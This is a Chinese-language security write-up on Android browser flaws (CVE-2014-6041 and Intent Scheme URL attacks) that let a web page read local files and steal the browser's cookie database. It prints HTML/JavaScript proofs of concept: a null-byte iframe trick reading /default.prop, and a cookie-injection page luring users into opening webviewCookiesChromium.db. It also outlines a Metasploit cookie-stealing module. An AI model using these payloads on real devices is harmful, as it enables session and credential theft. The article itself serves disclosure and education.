Android浏览器跨域数据窃取和Intent Scheme攻击

  我们接下来要介绍的这个漏洞,其影响了Android版本4.4以下的自带浏览器和一些其他特定的Android浏览器,它允许黑客读取sqlite格式的cookie数据库文件,从而窃取cookie。顺着这个问题,我们来谈一谈Android版本4.4以下的跨站数据窃取攻击。

  小科普

  Intent Scheme URL攻击:这种攻击方式,利用了浏览器保护措施的不足,通过浏览器作为桥梁间接实现Intend-Based攻击。相比于普通Intend-Based攻击,这种方式极具隐蔽性,而且由于恶意代码隐藏WebPage中,传统的特征匹配完全不起作用。除此之外,这种攻击还能直接访问浏览器自身的组件(无论是公开还是私有)和私有文件,比如cookie文件,进而导致用户机密信息的泄露。

  Intent-based攻击:这种基于intent的安卓攻击手法很普遍,轻则导致应用程序崩溃,重则可能演变提权漏洞。

  攻击实验背景介绍

  在我研究Stock浏览器的事务流程标准时发现,如果让浏览器打开新选项卡并且使用file://协议,就可以通过网页打开本地文件。当然,这的确不算一个漏洞,但是如果它能在读取本地文件后,然后把该文件的信息发送到远程时,那就完全不同了。而且我留意到,这是个Android下浏览器的通杀漏洞,且并不仅限于Chrome、Firefox或者Opera等等。

  下面的截图展示了漏洞被补后,权限被禁用,想要从菜单栏打开本地文件会发生的错误:

  攻击实验方案:

  为了利用这个漏洞,我们模拟了以下攻击流程:

  1.骗取用户访问黑客构造的网站

  2.黑客在某页面设置返回特定头部内容,使得受害者的浏览器自行下载exploit.html

  3.受害者浏览器会主动打开新选项卡,浏览exploit.html

  4.exploit.html将读取本地敏感信息文件,反馈给黑客

  为了给这次攻击构造一个有效的exp,我同某日本安全研究员Haru Sugiyama讨论后,他给了我以下的POC:

  http://133.242.134.241/firefox/test.html

  当你通过Android浏览器访问以上示例页面时,只要进行一些特定操作,其中的恶意脚本就会影响Firefox(文章首段提到的特定的Android浏览器实例)或者Android的自带浏览器,下载恶意代码到/sdcard/Download/exploit.html,当然前提是sdcard这个目录确实存在。浏览器会自行在新选项卡里打开刚刚下载的恶意文件exploit.html,然后从其他本地文件里读取内容。实际上,这个攻击过程并不如我讲的这么轻松愉快。在这里我们来做个对比实验,看看针对Android 2.3.x和Android 4.1.x-4.3进行攻击的结果区别。

  Android 2.3.x观察报告

  实验中我们使用了Android 2.3的模拟器,很轻松地就通过恶意文件exploit.html读取到了其他本地文件的内容,这代表该版本系统浏览器存在相应的漏洞,允许恶意网站绕过Android浏览器同源策略,进行跨域数据窃取。但是,由于Android 2.3.x的使用量大约只占安卓用户的11.4%,而且正在如winxp一般慢慢地消亡,所以其危害并没有那么大,Android各版本用户使用量统计图如下:

  然而Android 4.1.x-4.3虽然并不能直接读取本地文件,但我们在尝试了空字节绕过的小技巧后,发现收效甚好,POC如下:

  <button onclick="exploit()">Read iframe</button>

  <button onclick="window.open('u0000javascript:alert(document.body.innerHTML)','test')">

  Try u0000

  </button>

  <iframe src="file:/default.prop" name="test" style='width:100%;height:200'>

  </iframe>

  <script>

  function exploit()

  {

  var iframe = document.getElementsByTagName('iframe')[0];

  try

  {

  alert("Try to read local file.");

  alert("contentWindow:"+iframe.contentWindow);

  alert("document:"+iframe.contentWindow.document);

  alert("body:"+iframe.contentWindow.document.body);

  alert("innerHTML:"+iframe.contentWindow.document.body.innerHTML);

  }

  catch(e)

  {

  alert(e);

  }

  }

  </script>

  遗憾的是,据CVE-2014-6041所述,该漏洞已经打上补丁,经试验exp失效。

  采用Intent scheme URL进行攻击

  据我们以上研究得出的结论,想通过Android 4.1.x-4.3的浏览器进行本地文件读取是不可行的,因为在这一系列版本中,本地文件不能从任意其他文件里读取内容。然而,metasploit团队的Joe Vennix表示,从intent scheme入手就可以轻松地发起攻击,附上相应文章,以下是文章中的POC:

  该攻击POC的思路是:

  受害者保存了包含恶意JS代码的cookie后,浏览器打开储存该cookie的sqlite数据库文件时,附在cookie里被注入了的恶意JS代码会自动执行,从而窃取数据库文件中存在的其他cookie。基于这个POC,黑客可以尝试读取整个webviewCookieChromium.db文件。

  <!doctype html>

  <html>

  <head><meta name="viewport" content="width=device-width, user-scalable=no" /></head>

  <body style='width:100%;font-size: 16px;'>

  <a href='file:///data/data/com.android.browser/databases/webviewCookiesChromium.db'>

  Redirecting… To continue, tap and hold here, then choose "Open in a new tab"

  </a>

  <script>

  document.cookie='x=<img src=x onerror=prompt(document.body.innerHTML)>';

  </script>

  </body>

  </html>

  Joe实现了一个Metasploit模块,可以自动化窃取cookie然后反馈给黑客,即使该数据库文件采用了httponly技术,这种攻击手段依然是危害巨大的。

  Metasploit模块实现步骤:

  下面的截图让你明白如何利用该模块获取cookie:

  第一步:设置模块

  第二步:窃取cookie

  你做完了这步,就可以泡杯咖啡,坐等鱼儿上钩了。

  第三步:坐等cookie

  补丁相关信息:

  在2014年2月发布了补丁,其对数据库文件储存目录的权限进行了加固,但是因补丁策略限制,它并没有照顾到大部分厂商。

 

上一篇:智能无惧挑战 山石网科轰动RSA2015

下一篇:攻陷PSN黑客猖狂至极想要和FBI一决高下